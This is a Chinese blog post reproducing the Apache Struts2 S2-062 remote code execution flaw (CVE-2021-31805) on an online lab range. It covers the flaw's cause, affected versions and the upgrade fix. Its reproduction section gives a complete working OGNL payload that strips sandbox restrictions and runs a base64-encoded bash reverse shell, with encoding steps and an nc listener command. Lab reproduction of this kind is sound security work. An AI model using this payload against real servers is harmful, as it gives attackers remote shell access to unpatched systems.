当前位置:网站首页>S2-062 远程命令执行漏洞复现(cve-2021-31805)
S2-062 远程命令执行漏洞复现(cve-2021-31805)
2022-04-23 12:10:00 【MH cloud】
前言
咳咳,这个漏洞吧出来也有几天了,最近一直没时间,今天加个班写一下!
一、漏洞描述
Apache Struts2是一个基于MVC设计模式的流行的Web应用程序框架。
Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。
由于对CVE-2020-17530的修复不完整,在Apache Struts 2.0.0-2.5.29中,如果开发人员使用%{...}语法应用强制OGNL解析,标签的某些属性仍然可被二次解析。当对标签属性中未经验证的原始用户输入进行解析时可能会导致远程代码执行。
二、影响范围
Apache Struts 2.0.0-2.5.29
三、修复建议
目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。
下载链接:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
缓解措施:避免对不受信任或未经验证的用户输入使用强制OGNL解析。
四、漏洞复现
复现环境:Vulfocus 漏洞威胁分析平台 在线靶场,这个靶场还是不错的
1.根据漏洞提示访问首页

2.抓包首页

3.构造payload,变更请求方法为post,
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))

4.把反弹shell的命令base64编码处理并且对其url编码

5. base64 加密

6.URL加密

7. 替换到bp里面

8.准备一台服务器进行监听
nc -vvlp 7777

9.bp点击发送反弹shell


到这里整个漏洞就复现完成了
今天依旧大佬勿喷哈!!
本人理念:菜也要菜的理直气壮!!
MHcloud一个对网络安全充满憧憬的小菜鸡
版权声明
本文为[MH cloud]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_52400001/article/details/124351488
边栏推荐
- Lesson 24 analysis of classical problems
- Pagoda panel command line help tutorial (including resetting password)
- WIN10 启动后花屏
- AI 视频云 VS 窄带高清,谁是视频时代的宠儿
- 亿级流量架构,服务器如何扩容?写得太好了!
- 1.Electron开发环境搭建
- 论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
- 异步时钟亚稳态 的解决方案——多bit信号
- c# 设置logo图标和快捷方式的图标
- Xinwangda announced that the price of battery products had been increased, and the investment of "weixiaoli" exceeded 1 billion
猜你喜欢

Metalama简介4.使用Fabric操作项目或命名空间

SQL 练习(一)

C set Logo Icon and shortcut icon

运行报错:找不到或无法加载主类 com.xxx.Application

Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?

科创人·派拉软件CEO谭翔:零信任本质是数字安全,To B也要深研用户心智

【Redis 系列】redis 学习十三,Redis 常问简单面试题

c# 设置logo图标和快捷方式的图标

智能多线弹性云增加独立的IP地址,如何实现多线功能?

《通用数据保护条例》(GDPR)系列解读三:欧洲子公司如何向国内母公司回传数据?
随机推荐
Use kettle to copy records to and get records from results
PSCP basic usage
5分钟NLP:Text-To-Text Transfer Transformer (T5)统一的文本到文本任务模型
抓包整理————tcp 协议[八]
软件测试对于减少程序BUG有多大帮助?
同态加密技术学习
运行报错:找不到或无法加载主类 com.xxx.Application
1.Electron开发环境搭建
User interface and im expression (IM 5.6)
远程桌面之终端服务器超出了最大允许连接数解决
IDEA 代码质量规范插件SonarLint
Idea setting copyright information
NativeForMySQL 连接MySQL8 提示:1251- Client does not support authentication protocol
WIN10 启动后花屏
AI video cloud vs narrowband HD, who is the darling of the video era
IFLYTEK's revenue in 2021 was 18.3 billion yuan: a year-on-year increase of 41% and a net profit of 1.556 billion yuan
In idea Solution to the problem of garbled code in Chinese display of properties file
关于使用Go语言创建WebSocket服务浅谈
2022 love analysis · panoramic report of industrial Internet manufacturers
How Im expressions work (5.3)